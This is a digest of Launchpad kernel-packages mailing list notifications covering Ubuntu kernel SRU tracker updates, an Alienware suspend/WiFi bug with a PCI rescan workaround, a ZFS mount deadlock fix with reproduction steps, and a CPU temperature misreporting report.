  backports: bug 1779377 (linux-aws), bug 1779378 (linux-lts-xenial)
  derivatives: bug 1779379 (linux-aws), bug 1779380 (linux-euclid), bug 1779381 
(linux-kvm), bug 1779382 (linux-raspi2), bug 1779383 (linux-snapdragon)
  -- swm properties --
  boot-testing-requested: true
  bugs-spammed: true
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779376/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779377] Re: linux-aws: 4.4.0-1025.26 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/promote-to-security
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1779377

Title:
  linux-aws: 4.4.0-1025.26 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-aws package in Ubuntu:
  Invalid
Status in linux-aws source package in Trusty:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1779376
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779377/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779377] Re: linux-aws: 4.4.0-1025.26 -proposed tracker

[Steve Beattie]

No USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1779377

Title:
  linux-aws: 4.4.0-1025.26 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-aws package in Ubuntu:
  Invalid
Status in linux-aws source package in Trusty:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1779376
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779377/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779376] Re: linux: 4.4.0-131.157 -proposed tracker

[Steve Beattie]

No USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779376

Title:
  linux: 4.4.0-131.157 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  In Progress
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow snap-certification-testing series:
  New
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  backports: bug 1779377 (linux-aws), bug 1779378 (linux-lts-xenial)
  derivatives: bug 1779379 (linux-aws), bug 1779380 (linux-euclid), bug 1779381 
(linux-kvm), bug 1779382 (linux-raspi2), bug 1779383 (linux-snapdragon)
  -- swm properties --
  boot-testing-requested: true
  bugs-spammed: true
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779376/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779379] Re: linux-aws: 4.4.0-1063.72 -proposed tracker

[Steve Beattie]

No USN needed

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1779379

Title:
  linux-aws: 4.4.0-1063.72 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-aws package in Ubuntu:
  Invalid
Status in linux-aws source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1779376
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779379/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1555775] Re: [Dell Alienware 15 R2] WiFi + wired ethernet broken after suspend

[jason]

I tried kernel 4.18-rc4 after I saw your post, Christopher, and this bug
is fixed.  Wifi, ethernet, and nvme drive all work after suspend/resume
now.  I haven't tried any kernels between this and 4.13.0, so I can't
say which version fixed it.

Kernel 4.18-rc4
Kubuntu 18.04 with the latest package updates
Alienware 15 R2
BIOS 1.4.4 01/08/2018

Thanks for fixing it!  This makes a big difference in my productivity
and decision to not buy a new laptop.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1555775

Title:
  [Dell Alienware 15 R2] WiFi + wired ethernet broken after suspend

Status in linux package in Ubuntu:
  Invalid

Bug description:
  With Ubuntu 14.04, and 15.10, using my Alienware 15 R2 the Intel 7265
  WiFi is broken on resume from suspend. However, after suspend, it is
  gone from network manager ("No network devices available"), from
  ifconfig, and from lshw -class Network. It works fine prior to
  suspend.

  I have tried removing the kernel module iwlwifi,before suspend and
  modprobe-ing it after, but that results in no change. I also have
  disabled wifi via the keyboard key, then suspended, then resumed, but
  still no luck. No change after installing intel-microcode either.

  Wifi does come back after resume in Windows.

  As additional data points:
  This also happens with WiFi cards Killer 1535, and Intel 8260.
  Also, the exact same thing happens to my wired ethernet connection as well 
(it disappears from lshw -class Network) after suspend.

  WORKAROUND: cat /etc/pm/sleep.d/alienware_pci_rescan
  #! /bin/sh

  # This script rescans the PCI bus after resume from suspend to fix
  # broken WiFi, wired ethernet, and the card reader on the Alienware 15 R2.

  case $1 in
   resume|thaw)
  echo 1 > /sys/bus/pci/devices/\:00\:1c.4/rescan
   echo 1 > /sys/bus/pci/devices/\:00\:1c.5/rescan
   echo 1 > /sys/bus/pci/devices/\:00\:1c.6/rescan
  ;;
  esac

  ---
  ApportVersion: 2.19.1-0ubuntu3
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  abarry 1585 F pulseaudio
  CurrentDesktop: Unity
  DistroRelease: Ubuntu 15.10
  InstallationDate: Installed on 2016-03-10 (0 days ago)
  InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 1bcf:2b8c Sunplus Innovation Technology Inc.
   Bus 001 Device 003: ID 8087:0a2a Intel Corp.
   Bus 001 Device 002: ID 187c:0528 Alienware Corporation
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Alienware Alienware 15 R2
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.2.0-30-generic.efi.signed 
root=UUID=115dc7cd-b190-4872-94bd-685ec9695732 ro noprompt persistent quiet 
splash vt.handoff=7
  ProcVersionSignature: Ubuntu 4.2.0-30.36-generic 4.2.8-ckt3
  RelatedPackageVersions:
   linux-restricted-modules-4.2.0-30-generic N/A
   linux-backports-modules-4.2.0-30-generic  N/A
   linux-firmware1.149
  Tags:  wily
  UdevLog: Error: [Errno 2] No such file or directory: '/var/log/udev'
  Uname: Linux 4.2.0-30-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/29/2016
  dmi.bios.vendor: Alienware
  dmi.bios.version: 1.2.8
  dmi.board.name: Alienware 15 R2
  dmi.board.vendor: Alienware
  dmi.board.version: A00
  dmi.chassis.type: 10
  dmi.chassis.vendor: Alienware
  dmi.chassis.version: Not Specified
  dmi.modalias: 
dmi:bvnAlienware:bvr1.2.8:bd01/29/2016:svnAlienware:pnAlienware15R2:pvr1.2.8:rvnAlienware:rnAlienware15R2:rvrA00:cvnAlienware:ct10:cvrNotSpecified:
  dmi.product.name: Alienware 15 R2
  dmi.product.version: 1.2.8
  dmi.sys.vendor: Alienware

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1555775/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781064] Re: linux-oem: 4.15.0-1011.14 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: New => Confirmed

** Tags added: block-proposed-bionic

** Tags added: block-proposed

** Description changed:

  This bug is for tracking the  upload package. This
  bug will contain status and testing results related to that upload.
  
  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
+ boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Uploaded

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem in Ubuntu.
https://bugs.launchpad.net/bugs/1781064

Title:
  linux-oem: 4.15.0-1011.14 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  New
Status in Kernel SRU Workflow certification-testing series:
  New
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Confirmed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-oem package in Ubuntu:
  Invalid
Status in linux-oem source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781064/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"

[Simos Xenitellis ]

zfsutils-linux (zfs-linux, zfs-linux_0.7.5-1ubuntu16.3) is already in proposed,
https://launchpad.net/ubuntu/bionic/+queue?queue_state=3_text=zfs-linux

Please report when linux-image gets into -proposed,
https://launchpad.net/ubuntu/bionic/+queue?queue_state=3_text=linux-image

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781364

Title:
  Kernel error "task zfs:pid blocked for more than 120 seconds"

Status in Linux:
  Fix Released
Status in linux package in Ubuntu:
  Fix Committed
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Confirmed
Status in zfs-linux source package in Xenial:
  Confirmed
Status in linux source package in Bionic:
  Confirmed
Status in zfs-linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  Fix Committed
Status in zfs-linux source package in Cosmic:
  Fix Released

Bug description:
  == SRU Justification, XENIAL, BIONIC ==

  Exercising ZFS with lxd with many mount/umounts can cause lockups and
  120 second timeout messages.

  == How to reproduce bug ==

  In a VM, 2 CPUs, 16GB of memory running Bionic:

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux
  sudo lxd init

  (and with the default init options)

  then run:

  lxd-benchmark launch --count 96 --parallel 96

  This will reliably show the lockup every time without the fix.  With
  the fix (detailed below) one cannot reproduce the lockup.

  == Fix ==

  Upstream ZFS commit

  commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1
  Author: Brian Behlendorf 
  Date: Wed Jul 11 15:49:10 2018 -0700

  Fix zpl_mount() deadlock

  == Regression Potential ==

  This just changes the locking in the mount path of ZFS and will only
  affect ZFS mount/unmounts.  The regression potential is small as this
  touches a very small code path that has been exhaustively exercises
  this code under multiple thread/CPU contention and shown not to break.

  --

  ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691

  "I am using LXD containers that are configured to use a ZFS storage backend.
  I create many containers using a benchmark tool, which probably stresses the 
use of ZFS.
  In two out of four attempts, I got

  [  725.970508] INFO: task lxd:4455 blocked for more than 120 seconds.
  [  725.976730]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  725.983551] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  725.991624] INFO: task txg_sync:4202 blocked for more than 120 seconds.
  [  725.998264]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.005071] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.013313] INFO: task lxd:99919 blocked for more than 120 seconds.
  [  726.019609]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.026418] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.034560] INFO: task zfs:100513 blocked for more than 120 seconds.
  [  726.040936]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.047746] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.
  [  726.055791] INFO: task zfs:100584 blocked for more than 120 seconds.
  [  726.062170]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
  [  726.068979] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables 
this message.

  Describe how to reproduce the problem

  Start an Ubuntu 18.04 LTS server.
  Install LXD if not already installed.

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux

  Configure LXD with sudo lxd init. When prompted for the storage
  backend, select ZFS and specify an empty disk.

  $ sudo lxd init
  Would you like to use LXD clustering? (yes/no) [default=no]:
   Do you want to configure a new storage pool? (yes/no) [default=yes]:
   Name of the new storage pool [default=default]:
   Name of the storage backend to use (dir, zfs) [default=zfs]:
   Create a new ZFS pool? (yes/no) [default=yes]:
   Would you like to use an existing block device? (yes/no) [default=no]: yes
   Path to the existing block device: /dev/sdb
   Would you like to connect to a MAAS server? (yes/no) [default=no]:
   Would you like to create a new local network bridge? (yes/no) [default=yes]: 
no
   Would you like to configure LXD to use an existing bridge or host interface? 
(yes/no) [default=no]: no
   Would you like LXD to be available over the network? (yes/no) [default=no]:
   Would you like stale cached images to be updated automatically? (yes/no) 
[default=yes]
   Would you like a YAML "lxd init" preseed to be printed? (yes/no) 
[default=no]:

  Now run the following to launch 48 containers in batches of 12.

  lxd-benchmark launch --count 48 

[Kernel-packages] [Bug 1781924] PulseList.txt

[benjamin button]

apport information

** Attachment added: "PulseList.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164248/+files/PulseList.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] IwConfig.txt

[benjamin button]

apport information

** Attachment added: "IwConfig.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164241/+files/IwConfig.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] ProcCpuinfo.txt

[benjamin button]

apport information

** Attachment added: "ProcCpuinfo.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164243/+files/ProcCpuinfo.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

